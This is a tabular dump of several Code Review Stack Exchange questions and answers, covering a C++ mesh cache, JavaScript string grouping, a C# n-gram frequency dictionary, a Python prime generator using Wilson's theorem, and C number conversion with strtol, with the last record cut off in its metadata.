text stringlengths 1 2.12k | source dict |
|---|---|
c++, c++17, cache, polymorphism
Title: Cache for mesh objects
Question: I'm creating a cache system for an object (Mesh) that is expensive to create. A Mesh can be created using a small amount of information in a hashable key (MeshKey). There are multiple methods of creating meshes, and the key must identify which method is being used and supply the parameters to the creation function. The client code must be able to add creation methods. The cache looks like this:
class MeshCache {
public:
Mesh get(const MeshKey& key) const {
return _cache.count(key) ? _cache.at(key) : _cache.try_emplace(key, _create(key)).first->second;
}
private:
Mesh _create(const MeshKey& key) const {
return ...;
}
mutable std::unordered_map<MeshKey, Mesh> _cache;
};
Essentially, the cache is handed a MeshKey from which to identify and return a specific Mesh. If it doesn't yet exist, create it and cache it. This means the key represents both the method that should be used to create the mesh and the parameters used to create it (for example, one key could represent a sphere mesh with a specific radius, another a box with three side lengths).
The big problem is MeshCache::_create. If the set of creation methods were known, I could map an index to a generator function, or std::visit a std::variant of all the possible MeshKey types. As the user must be able to add their own creation modes, I decided polymorphism was the way to go:
struct _MeshKey {
virtual size_t hash() const = 0;
virtual bool operator==(const _MeshKey& rhs) const = 0;
virtual Mesh create() const = 0;
virtual std::unique_ptr<_MeshKey> clone() const = 0;
};
class MeshKey {
public:
MeshKey(std::unique_ptr<_MeshKey>&& x): key(std::move(x)) {}
MeshKey(const MeshKey& other): key(other.key->clone()) {}
size_t hash() const {
return key->hash();
}
bool operator==(const MeshKey& rhs) const {
return *key == *rhs.key;
} | {
"domain": "codereview.stackexchange",
"id": 44152,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++17, cache, polymorphism",
"url": null
} |
c++, c++17, cache, polymorphism
bool operator==(const MeshKey& rhs) const {
return *key == *rhs.key;
}
Mesh create() const {
return key->create();
}
private:
std::unique_ptr<_MeshKey> key;
};
namespace std {
template <> struct hash<MeshKey> {
size_t operator()(const MeshKey& x) const noexcept { return x.hash(); }
};
}
MeshCache::_create could then simply return key.create().
This lets me create new types of keys like this:
struct SphereMeshKey: public _MeshKey {
SphereMeshKey(float radius): radius(radius) {}
float radius;
size_t hash() const override { return std::hash<float>()(radius); }
bool operator==(const _MeshKey& rhs) const override {
if (typeid(*this) != typeid(rhs)) {
return false;
}
auto obj = static_cast<const SphereMeshKey&>(rhs);
return radius == obj.radius;
}
Mesh create() const override {
return ...; // Generate sphere mesh
}
std::unique_ptr<_MeshKey> clone() const override {
return std::make_unique<SphereMeshKey>(radius);
}
};
Unfortunately, this resulted in some ugly coupling between the values in the key itself and the object creation -- if creating the object required the use of other objects, those must typically be passed into the derived key's constructor. My first several attempts at decoupling resulted in some unattractive use of RTTI and two sets of polymorphic classes (keys and generators) which had to be authored by the client and then registered with the cache object. This complicated the logic and was generally a messy solution.
The problems I see with this design are: | {
"domain": "codereview.stackexchange",
"id": 44152,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++17, cache, polymorphism",
"url": null
} |
c++, c++17, cache, polymorphism
Heavy coupling between the mesh generation code and the mesh identification (keying) code
Relying on a polymorphic structure to do the job of a map key (which usually should behave like a POD) requires prototype pattern (clone function) and heap allocation (dynamically sized key)
While I imagine some use of RTTI will likely make its way into the final code, my use of typeid in the equality operator felt repetitive and likely to create bugs down the road
Is there a more elegant solution? I generally favor readability and maintainability over performance until profiling reveals issues.
Answer:
I generally favor readability and maintainability over performance until profiling reveals issues.
That's a very good mindset to have. I think the lack of elegance in your code comes from the fact that the classes have too many or not the right responsibilities. For example, MeshKey looks like a base class but it's actually a wrapper around a std::unique_ptr to a concrete key object, and _MeshKey is the actual base. Derived classes should also not have to worry about being compared against different derived types. Keep each class as simple as possible.
You explored using std::variant and using polymorphism, but you missed another possibility: just make the cache itself templated on the key type. This simplifies the cache, as it then only has to deal with one specific type.
Consider:
class MeshCache {
public:
template <typename Key>
static const Mesh& get(const Key& key) {
auto& cache = _cache<Key>;
if (auto it = cache.find(key); it != cache.end()) {
return it->second;
} else {
return cache.try_emplace(key, key.create()).first->second;
}
}
private:
template <typename Key>
inline static std::unordered_map<Key, Mesh> _cache;
}; | {
"domain": "codereview.stackexchange",
"id": 44152,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++17, cache, polymorphism",
"url": null
} |
c++, c++17, cache, polymorphism
private:
template <typename Key>
inline static std::unordered_map<Key, Mesh> _cache;
};
Now you no longer need derived classes nor std::unique_ptrs. So SphereMeshKey becomes:
struct SphereMeshKey {
float radius;
Mesh create() const {
return ...;
}
};
And the code that uses the cache will look like:
auto& earthMesh = MeshCache::get(SphereMeshKey{6.371e6});
The real magic is in the inline keyword used to declare _cache: it will ensure a _cache<Key> is instantiated for every type Key you use, and if multiple translation units cause the same _cache<Key> to be instantiated, the linker will merge them into one.
The above code has two other optimizations: get() returns a reference to a Mesh instead of making a copy of one, and it also uses find() instead of count()+at(), the latter would search the map twice instead of once. | {
"domain": "codereview.stackexchange",
"id": 44152,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c++, c++17, cache, polymorphism",
"url": null
} |
javascript, strings
Title: Convert strConflictedYesReviewers data into a single object which is grouped by ownerid and make array of opportunityid
Question: I get a dynamic string(strConflictedYesReviewers) which contains multiple user recordswhere each record is separated by semicolon and then each record represents ownerid and opportunityid separated by asterisk.
I have done it but looking for a better approach or code review.
const strConflictedYesReviewers = "88639280*198719943;88642547*198721749;88627345*198721749;88664734*198721749;88686221*198721749;88676217*198721749;88664734*198721749;88686221*198721749;88676217*198721749;"
.split(";")
.map(item => item.split("*"))
.filter(item => !!item[0])
.map(item => ({ownerid: item[0], opportunityid: item[1]}))
.reduce(function(acc, curr) {
(acc[curr["ownerid"]] = acc[curr["ownerid"]] || []).push(curr["opportunityid"]);
return acc;
}, {});
console.log(strConflictedYesReviewers);
Answer: You are iterating over the generated array needlessly when creating the intermediate objects since you throw away those objects in the reducer.
If the filtering is there just for the final ;-split, and you can assume you will always have both datum, you can drop the whole filtering by removing /;$/ from the string beforehand — saving another iteration. If you know for sure the string will always have the final ;, a slice would be efficient.
It’s often a good idea to separate the reducer and give it a descriptive name, for example:
const byOwner = (acc, [owner, opportunity]) =>
((acc[owner] ||= []).push(opportunity), acc) | {
"domain": "codereview.stackexchange",
"id": 44153,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, strings",
"url": null
} |
javascript, strings
(Please note the stylistic choices here, of which many would advice against. Such as the comma operator, lack of semicolons, braces, and explicit return. Perhaps even the somewhat recent logical OR assignment.)
so the usage becomes clean <iterable>.reduce(byOwner, {}) (although, there is codependence between what you are reducing into, and the inside of the reducer).
If the filtering really is for the possible empty ownerids, then each additional iteration naturally increases runtime. One concept which combines the ease of use of the small mapping and filtering functions while keeping down the iterations (without requiring a bloated reducer), is a transducer:
const compose = f => g => a => f(g(a))
const filtering = pred => reducer => (acc, x) =>
pred(x) ? reducer(acc, x) : acc
const mapping = fun => reducer => (acc, x) =>
reducer(acc, fun(x))
const xform = compose
(filtering (([x]) => x))
(mapping (x => x.split("*")))
so the usage becomes str.split(";").reduce(xform(byOwner), {}).
The benefit isn’t going to be apparent on small lists or simple transducers, though. | {
"domain": "codereview.stackexchange",
"id": 44153,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "javascript, strings",
"url": null
} |
c#, beginner, hash-map, console
Title: Creating a Dictionary to generate the most frequent continuations (without Linq)
Question: Main is added to compare the expected result with the result of the function, the war field is GetMostFrequentNextWords.
What data types can be better instead of Dictionary<string, Dictionary<string, int>>?
Are there any problems with the usage of this data type?
Is my code easy to read?
In Particular, the creation of Dictionaries for new keys takes a lot of code volume.
Are keyValuePairInternal, helpDictionary good names for variables?
Is the use of the variable keyTwoWords justified?
I am searching for all my problems
The task:
N-gram it's N adjacent words in one sentence. for example, from the text:
"She stood up. Then she left."
you can take the next 2-grams
"she stood",
"stood up",
"then she"
and "she left",
but not the next case "up then".
and 3-grams
"she stood up"
and "then she left",
but not the case "stood up then".
with a list of sentences (the list is consist of words, that are assembled in the list of sentences) create a vocabulary of the most frequent continuations of 2-grams and 3-grams. It's the vocabulary, in which all possible beginnings of 2-grams and 3-grams are Keys, and the Values are their most frequent continuations. If there are few continuations with equal frequency, you should store a string that is smaller (with help of String.CompareOrdinal).
Example Text: "a b c d. b c d. e b c a d." You should get the next vocabulary:
1 "a": "b"
2 "b": "c"
3 "c": "d"
4 "e": "b"
5 "a b": "c"
6 "b c": "d"
7 "e b": "c"
8 "c a": "d"
From 2-grams "a b" and "a d" that met once, there is only one pair in Dictionary "a": "b", because it's the smaller one. From the next two 2-grams "c d" и "c a" There is only one most frequent pair "c": "d". And from 3-grams "b c d" and "b c a" Next pair is in vocabulary as the most frequent one "b c": "d".
using System;
using System.Collections.Generic;
using System.Text; | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
c#, beginner, hash-map, console
namespace ConsoleApp11
{
public static class SentencesParserTask
{
public static Dictionary<string, string> GetMostFrequentNextWords(List<List<string>> text)
{
var result = new Dictionary<string, string>();
var helpDictionary = new Dictionary<string, Dictionary<string, int>>();
for (int i = 0; i < text.Count; i++)
{
for (int j = 0; j < text[i].Count; j++)
{
if (text[i].Count - j >= 3)
{
string keyTwoWords = text[i][j] + " " + text[i][j + 1];
if (!helpDictionary.ContainsKey(keyTwoWords))
helpDictionary[keyTwoWords] = new Dictionary<string, int>();
if (!helpDictionary[keyTwoWords].ContainsKey(text[i][j + 2]))
helpDictionary[keyTwoWords][text[i][j + 2]] = 0;
helpDictionary[keyTwoWords][text[i][j + 2]]++;
}
if (text[i].Count - j >= 2)
{
if (!helpDictionary.ContainsKey(text[i][j]))
helpDictionary[text[i][j]] = new Dictionary<string, int>();
if (!helpDictionary[text[i][j]].ContainsKey(text[i][j + 1]))
helpDictionary[text[i][j]][text[i][j + 1]] = 0;
helpDictionary[text[i][j]][text[i][j + 1]]++;
}
}
} | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
c#, beginner, hash-map, console
foreach (KeyValuePair<string, Dictionary<string, int>> keyValuePair in helpDictionary)
{
if (!result.ContainsKey(keyValuePair.Key))
result[keyValuePair.Key] = "";
int maxFrequencyCount = 0;
string maxFrequencyString = "";
foreach (KeyValuePair<string, int> keyValuePairInternal in keyValuePair.Value)
{
if ((keyValuePairInternal.Value > maxFrequencyCount) || ((keyValuePairInternal.Value == maxFrequencyCount) &&
(string.CompareOrdinal(maxFrequencyString, keyValuePairInternal.Key) > 0)))
{
result[keyValuePair.Key] = keyValuePairInternal.Key;
maxFrequencyCount = keyValuePairInternal.Value;
maxFrequencyString = keyValuePairInternal.Key;
}
}
}
return result;
}
static void Main(string[] args)
{
//a b c d. b c d. e b c a d.
var list = new List<List<string>>();
list.Add(new List<string>());
list[0].Add("a");
list[0].Add("b");
list[0].Add("c");
list[0].Add("d");
list.Add(new List<string>());
list[1].Add("b");
list[1].Add("c");
list[1].Add("d");
list.Add(new List<string>());
list[2].Add("e");
list[2].Add("b");
list[2].Add("c");
list[2].Add("a");
list[2].Add("d");
Console.WriteLine("The origin text : \n" );
foreach (var sentence in list)
{
foreach(var word in sentence)
{
Console.Write(" " + word);
}
Console.Write(".");
} | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
c#, beginner, hash-map, console
Console.Write("\n\n ");
Console.WriteLine("Expected output: \n1 a: b \n2 b: c \n3 c: d \n4 e: b \n5 a b: c \n6 b c: d \n7 e b: c \n8 c a: d \n\n ");
var dictionary = new Dictionary<string, string>(GetMostFrequentNextWords(list));
int index = 1;
Console.WriteLine("Your output (THE ORDER ISNT IMPORTANT) :");
foreach (var keyValuePair in dictionary)
{
Console.WriteLine(index++ + " " + keyValuePair.Key + ": " + keyValuePair.Value);
}
Console.ReadLine();
}
}
}
Answer: Lets do some refactoring together
GetMostFrequentNextWords
If you look at this function then you can easily distinguish two parts
Populate the helpDictionary
Convert the helpDictionary to the desired format
So, lets extract these codes into their own methods
With these in our hand the only responsibility of the GetMostFrequentNextWords method is that it needs to call the methods in the right order
public static Dictionary<string, string> GetMostFrequentNextWords(List<List<string>> text)
{
var intermediateCollection = GetIntermediateCollection(text);
return TransformIntermediateToFinal(intermediateCollection);
}
or in short
public static Dictionary<string, string> GetMostFrequentNextWords(List<List<string>> text)
=> TransformIntermediateToFinal(GetIntermediateCollection(text));
GetIntermediateCollection
If you look at the body of the nested for loop then you can spot that both if branches do the same thing but on different indexes/indices
So, the common parts could (and should) be extracted and only the unique part should be provided as input | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
c#, beginner, hash-map, console
private static Dictionary<string, Dictionary<string, int>> GetIntermediateCollection(List<List<string>> text)
{
var intermediateCollection = new Dictionary<string, Dictionary<string, int>>();
foreach (var sentence in text)
{
for (int word = 0; word < sentence.Count; word++)
{
if (sentence.Count - word >= 3)
UpdateCollection(intermediateCollection, sentence[word] + " " + sentence[word + 1], sentence[word + 2]);
if (sentence.Count - word >= 2)
UpdateCollection(intermediateCollection, sentence[word], sentence[word + 1]);
}
}
return intermediateCollection;
}
I've tired to use more meaningful iterator names than i and j
UpdateCollection
This is the common part of the two if branches
I've used innerKey and outerKey as parameter names to indicate their intended usage
private static void UpdateCollection(Dictionary<string, Dictionary<string, int>> twoLevelCollection, string outerKey, string innerKey)
{
if (!twoLevelCollection.ContainsKey(outerKey))
twoLevelCollection[outerKey] = new Dictionary<string, int>();
if (!twoLevelCollection[outerKey].ContainsKey(innerKey))
twoLevelCollection[outerKey][innerKey] = 0;
twoLevelCollection[outerKey][innerKey]++;
}
TransformIntermediateToFinal
Here I took advantage of C#'s deconstruction feature in the foreach loops
private static Dictionary<string, string> TransformIntermediateToFinal(Dictionary<string, Dictionary<string, int>> twoLevelCollection)
{
var result = new Dictionary<string, string>();
foreach (var (grams, innerGrams) in twoLevelCollection)
{
if (!result.ContainsKey(grams))
result[grams] = ""; | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
c#, beginner, hash-map, console
int maxFrequencyCount = 0;
string maxFrequencyString = "";
foreach (var (word, frequency) in innerGrams)
{
if (frequency > maxFrequencyCount
|| (frequency == maxFrequencyCount
&& string.CompareOrdinal(maxFrequencyString, word) > 0))
(result[grams], maxFrequencyString, maxFrequencyCount) = (word, word, frequency);
}
}
return result;
}
Just like you in your original code I also had problem to find good naming for the iterator variables
Maybe it make sense to spend some time on it to find better names than these
Main
And last but not least the caller side
var input = new List<List<string>>
{
new List<string>() { "a", "b", "c", "d"},
new List<string>() { "b", "c", "d"},
new List<string>() { "e", "b", "c", "a", "d"},
};
Console.WriteLine("The origin text : \n");
foreach (var sentence in input)
{
Console.Write(string.Join(" ", sentence));
Console.Write(".");
}
Console.Write("\n\n ");
Console.WriteLine("Expected output: \n1 a: b \n2 b: c \n3 c: d \n4 e: b \n5 a b: c \n6 b c: d \n7 e b: c \n8 c a: d \n\n ");
Console.WriteLine("Actual output (the ordering doesn't matter):");
var mostFreuqentOnes = new SentencesParser().GetMostFrequentNextWords(input);
foreach (var (idx, lhs, rhs) in mostFreuqentOnes.Select((kv, idx) => (idx, kv.Key, kv.Value)))
Console.WriteLine(idx+1 + " " + lhs + ": " + rhs);
Here you can find a working example | {
"domain": "codereview.stackexchange",
"id": 44154,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "c#, beginner, hash-map, console",
"url": null
} |
python, performance, python-3.x, primes
Title: Find primes using Wilson's Theorem
Question: The following code is an instantiation of wilson's theorem. It uses a simple factorial and division theorem to check for primality. My issue is with the performance of the code, and there are two most prominent issues. Firstly, the cumtime for which the remainder is taken far exceeds the rest of the code; Secondly, there is a noticeable time crunch when adding 1 to the numerator due to what I believe is a problem when updating the reference to another object for very large integers.
Is there any possible way I could fix these issues, except, of course, making this program faster by coding in cpp?
n = 100000
def absolute(x: int):
if (x == 2):
a = Diction[x - 1] * x * (x + 1)
Diction.pop(x - 1)
Diction.update({(x + 1): a})
return 2
try:
a = Diction[x-1] * x
return a
finally:
a *= (x+1)
Diction.pop(x-1)
Diction.update({(x+1):a})
def main():
for i in range(3, n+1,2):
if (((absolute(i - 1) + 1 ) % i) == 0):
prime.append(i)
if __name__ == '__main__':
import time
import cProfile
start = time.perf_counter()
Diction = {1: 1}
prime = [2]
cProfile.run('main()')
end = time.perf_counter()
print(len(prime), end-start)
I expect that some other possible data holder, which uses a more optimal format, would work better in this instance - possibly numpy or an implementation of numba.
Answer: General review comments
Apart from performance, there are some general review points: | {
"domain": "codereview.stackexchange",
"id": 44155,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
Answer: General review comments
Apart from performance, there are some general review points:
Don't put code after the if __name__ == '__main__': other than just calling main().
Put your imports at the top of your code.
Don't rely on globals to share data between functions (Diction, prime). Use function arguments and return values to exchange data.
Use meaningful, descriptive variable names. prime contains primes (plural), so it's better to call it primes. Diction is referring to a datatype, which is not a descriptive variable name.
Use capitals for module-wide constants (or, in this case: use function parameters instead of a constant n).
cProfile already gives you the run time. No need to compute that again using time.
Main topic: performance
If I understand your code correctly, you use Diction in combination with absolute to keep track of \$(i - 1)!\$. This seems overly complicated to me. You can keep track of the factorial inside the loop. This saves max_prime / 2 - 1 calls to dict operations pop and update.
Implementing all tips above, this gives the following (type hinted and docstring documented) code:
import cProfile
def generate_primes(max_prime: int) -> list:
"""Returns a list of primes until max_prime (included)
This function uses Wilkinson's theorem.
Args:
max_prime (int): upper limit for the primes to be calculated
Returns:
list: list of primes from 2 up until max_primes (included)
"""
primes = [2]
factorial = 2 # factorial of i-1
for i in range(3, max_prime + 1, 2):
if (factorial + 1) % i == 0:
primes.append(i)
factorial *= i * (i + 1)
return primes
def main():
max_prime = 100000
profiler = cProfile.Profile()
primes = profiler.runcall(generate_primes, max_prime)
profiler.print_stats()
print(len(primes))
if __name__ == '__main__':
main() | {
"domain": "codereview.stackexchange",
"id": 44155,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
print(len(primes))
if __name__ == '__main__':
main()
Running this gives roughly the same performance as your original code. :-(
As you already suspected: there are two calculations that probably account for most of the compute time: the modulo and the product of the factorial (which becomes rapidly very, very large). To measure this, I created two functions that perform these calculations, so cProfile can profile them. This gives the following output:
109591 function calls in 10.326 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.872 0.872 10.326 10.326 slow_prime_test.py:12(generate_primes)
49999 5.592 0.000 5.592 0.000 slow_prime_test.py:4(modulo_is_0)
49999 3.862 0.000 3.862 0.000 slow_prime_test.py:8(multiply)
9591 0.000 0.000 0.000 0.000 {method 'append' of 'list' objects}
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
So we're spending 54% of the time calculating the modulo and 37% of the time calculating (large) products.
Ideally, there is an algorithm that can calculate \$((n - 1)! + 1) % n\$ without actually calculating the factorial. The + 1 makes this very tricky and I don't know any algorithm that can do that. Without the + 1 we could use Legendre's formula to calculate \$n! % p\$.
You can probably speed your code up a bit using C++ or any other compiled high-performance language, but that fact remains that Wilson's theorem is not a very good performing theorem to generate primes. This is also stated on the Wikipedia page of the theorem:
Wilson's theorem has been used to construct formulas for primes, but
they are too slow to have practical value. | {
"domain": "codereview.stackexchange",
"id": 44155,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
Use gmpy2 to speed up big integer calculations
I found the Python module gmpy2, which increases performance of big integer calculations. Just adding an from gmpy2 import mpz and replacing factorial = 2 with factorial = mpz('2') improves performance on my computer by a factor of 4.5.
Using gmpy2: True
9592
109591 function calls in 4.035 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 0.533 0.533 4.035 4.035 slow_prime_test.py:13(generate_primes)
49999 3.077 0.000 3.077 0.000 slow_prime_test.py:5(modulo_is_0)
49999 0.424 0.000 0.424 0.000 slow_prime_test.py:9(multiply)
9591 0.001 0.000 0.001 0.000 {method 'append' of 'list' objects}
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
Using gmpy2: False
109591 function calls in 18.458 seconds
Ordered by: standard name
ncalls tottime percall cumtime percall filename:lineno(function)
1 1.438 1.438 18.458 18.458 slow_prime_test.py:13(generate_primes)
49999 14.895 0.000 14.895 0.000 slow_prime_test.py:5(modulo_is_0)
49999 2.123 0.000 2.123 0.000 slow_prime_test.py:9(multiply)
9591 0.001 0.000 0.001 0.000 {method 'append' of 'list' objects}
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} | {
"domain": "codereview.stackexchange",
"id": 44155,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
python, performance, python-3.x, primes
On tio.run, I even get a performance improvement of around factor 10. I guess this depends on the computer platform. This TIO link includes the final code I used:
Try it online!
Edit (2): using Legendre's formula
Since you're calculating all primes, we can use the fact that when testing if \$n\$ is prime, we already have all primes smaller than \$n\$. We can exploit this using Legendre's formula. Instead of calculating \$((n - 1)! + 1) % n\$, we can use the prime factorisation of \$n - 1\$ and the powmod function of gmpy2. This way, we avoid using very large integers, and (possibly) improve the execution speed. I implemented this, but sadly, it performs much slower than the gmpy2 optimised code mentioned above.
def wilsons_prime_test(n: Union[int, gmpy2.mpz],
primes: list) -> bool:
"""Checks if ((n - 1)! + 1 ) % n == 0 using the given set of primes < n
Args:
n (int or mpz): number of which to check if it is prime
primes (list): prime list which must give all primes < n
Returns:
bool: _description_
"""
result = gmpy2.mpz('1')
# Loop over all primes
for p in primes:
# Find largest power of p that divides n - 1
tmp_n = n - 1
largest_power = 0
while tmp_n:
tmp_n //= p
largest_power += tmp_n
# Multiply the result with prime ^ largest_power modulo n
result *= gmpy2.powmod(p, largest_power, n)
# Return if (result + 1) % n == 0
return (result + 1) % n == 0 | {
"domain": "codereview.stackexchange",
"id": 44155,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "python, performance, python-3.x, primes",
"url": null
} |
performance, c, converting
Title: Number System Conversions with strtol
Question: Description
The code uses strtol() to convert text that represents a value in a given base into an integer.
It takes three arguments from the command line, including the string and the base. The string may begin with an arbitrary amount of white space followed by a optional - or +. If the base is 0 or 16, the string may include 0x or 0X and it would be taken as hexadecimal, otherwise a zero base will be taken as decimal.
From strtol()'s manpage:
(In bases above 10, the letter 'A' in either uppercase or lowercase represents 10, 'B' represents 11, and so forth, with 'Z' representing 35.)
I compiled it under the flags -Wall -g -Winit-self -Wredundant-decls -Wfloat-equal -Winline -Wunreachable-code -Wmissing-declarations -Wswitch-default -Wmain -pedantic-errors -pedantic -Wfatal-errors -Wextra -Wall
and it didn't issue any warnings.
Questions
Style review (indentation, comments, readability, etc.)
Is there room for more error-checking? Have I forgotten anything except for an invalid base (that I remembered now)?
How could it be improved?
Sample input/output
Examples of successful conversions:
./a.out 102438 10
Success [102438].
./a.out 0403 8
Success [259].
./a.out 0x41 16
Success [65].
./a.out 00101010 2.
Success [42].
Examples of errors:
./a.out acbdavikf 2
Error: No digits were found.
./a.out 123acbdavikf 0
Error: Trailing junk after number.
./a.out 124235898259250270295 10
strtol: Numerical result out of range
./a.out -124235898259250270295 10
strtol: Numerical result out of range | {
"domain": "codereview.stackexchange",
"id": 44156,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "performance, c, converting",
"url": null
} |
performance, c, converting
./a.out -124235898259250270295 10
strtol: Numerical result out of range
Code
/* The program converts any base number to its equivalent decimal number. */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
static void convert_to_long(const char *nptr, const int base);
static void *error_checked_malloc(int size);
static void print_error_msg(const char *command);
int main(int argc, char *argv[])
{
char *command = error_checked_malloc(64 * sizeof(char));
command = argv[0];
if (argc != 3)
print_error_msg(command);
char *str = argv[1];
int base = atoi(argv[2]);
convert_to_long(str, base);
return EXIT_SUCCESS;
}
///===========================================================================================================================================================
static void convert_to_long(const char *nptr, const int base)
{
char *endptr;
errno = 0; /* To distinguish success/failure after call. */
long int val = strtol(nptr, &endptr, base);
/* Check for various possible errors */
if (nptr == endptr)
{
fprintf(stderr, "Error: No digits were found.\n");
exit(EXIT_FAILURE);
}
if (*endptr != '\0')
{
fprintf(stderr, "Error: Trailing junk after number.\n");
exit(EXIT_FAILURE);
}
if (errno == ERANGE) /* Checks both over/under-flow */
{
perror("strtol");
exit(EXIT_FAILURE);
} | {
"domain": "codereview.stackexchange",
"id": 44156,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "performance, c, converting",
"url": null
} |
performance, c, converting
else
{
printf("Success [%ld].\n", val);
exit(EXIT_SUCCESS);
}
}
///==================================================================================================================================================================
static void *error_checked_malloc(int size)
{
char *ptr = malloc(size);
if (!ptr)
{
perror("Malloc");
exit(EXIT_FAILURE);
}
return ptr;
}
///=====================================================================================================================================================================
static void print_error_msg(const char *command)
{
printf("Usage: <%s> <string> <base>\n", command);
exit(EXIT_FAILURE);
}
Answer:
Style review(indentation, comments, readability, etc.)
Noise
const serves no purpose with const int base in the static void convert_to_long(const char *nptr, const int base); declaration.
Simplify
// static void convert_to_long(const char *nptr, const int base);
static void convert_to_long(const char *nptr, int base);
const with an object has limited value in function definitions.
Allocate to the referenced object, not the type
Allocating to the refenced object is easier to code right, review and maintain.
// command = error_checked_malloc(64 * sizeof(char));
command = error_checked_malloc(64 * sizeof command[0]);
else not needed
Simplify
//else
//{
// printf("Success [%ld].\n", val);
// exit(EXIT_SUCCESS);
//}
printf("Success [%ld].\n", val);
exit(EXIT_SUCCESS);
exit(EXIT_SUCCESS); is troublesome in a helper function.
Better to return success from main().
Excessive vertical white-space
Inconsistent indent
if (argc != 3) print_error_msg(command); deserves {}.
Is there room for more error-checking? Have I forgotten anything except for an invalid base(that I remembered now)? | {
"domain": "codereview.stackexchange",
"id": 44156,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
"lm_q1q2_score": null,
"lm_q2_score": null,
"openwebmath_perplexity": null,
"openwebmath_score": null,
"tags": "performance, c, converting",
"url": null
} |
performance, c, converting
Error messages deserve to print on stderr
// printf("Usage: <%s> <string> <base>\n", command);
fprintf(stderr, "Usage: <%s> <string> <base>\n", command);
atoi() lacks checking
Non-numeric input, numeric text input with trailing text and out of int range values expose weakness with the simplistic aoti(). Consider strtol().
base not in expected range
With strtol(nptr, &endptr, base);, a base value of negative, 1, more than 36 are all problematic and undetected here.
Maintain case
// perror("Malloc");
perror("malloc");
How could it be improved?
Allow trailing whitespace
Instead of if (*endptr != '\0'), perhaps first march down the string if it has optional trailing white-space. This simplifies testing a line of input from fgets().
Allocation deserves to use type size_t for size, not int
Zero
error_checked_malloc(0) should not result in an error.
Negative
error_checked_malloc(some negative value) should certainly result in an error. As is, code may successfully allocate a huge block.
convert_to_long() surprisingly prints
Aside from errors, I'd expect convert_to_long() to convert and let the calling code do any printing.
Allow input to omit base
When base argument missing, simply assume 0 (or 10). | {
"domain": "codereview.stackexchange",
"id": 44156,
"lm_label": null,
"lm_name": null,
"lm_q1_score": null,
